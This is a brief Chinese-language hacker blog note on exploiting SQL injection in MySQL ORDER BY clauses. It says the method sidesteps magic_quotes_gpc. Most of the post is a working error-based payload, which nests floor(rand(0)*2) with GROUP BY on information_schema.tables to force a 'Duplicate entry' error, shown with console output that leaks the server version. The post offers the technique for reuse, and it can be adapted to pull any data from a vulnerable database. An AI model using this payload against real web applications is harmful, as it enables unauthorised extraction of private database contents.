mysql order by类型注射利用笔记

order by的注射也发生在表名的注射等的好处是一般不需要考虑magic_quotes_gpc等因素的影响,网上搜了下有一些盲注的利用方法,自己也测试了一下,发现可以直接利用mysql报错来注射,干净利落啊,写出来记录一下,权当滥竽充数吧.
 
mysql> select * from user order by (SELECT 1 from (select count(*),concat(floor(rand(0)*2),
 
(substring((select(version())),1,62)))a from information_schema.tables group by a)b);
 
ERROR 1062 (23000): Duplicate entry '15.1.41-3ubuntu12.10' for key 'group_key'
 

作者：c4rp3nt3r@0x50sec.org

• 没有相关文章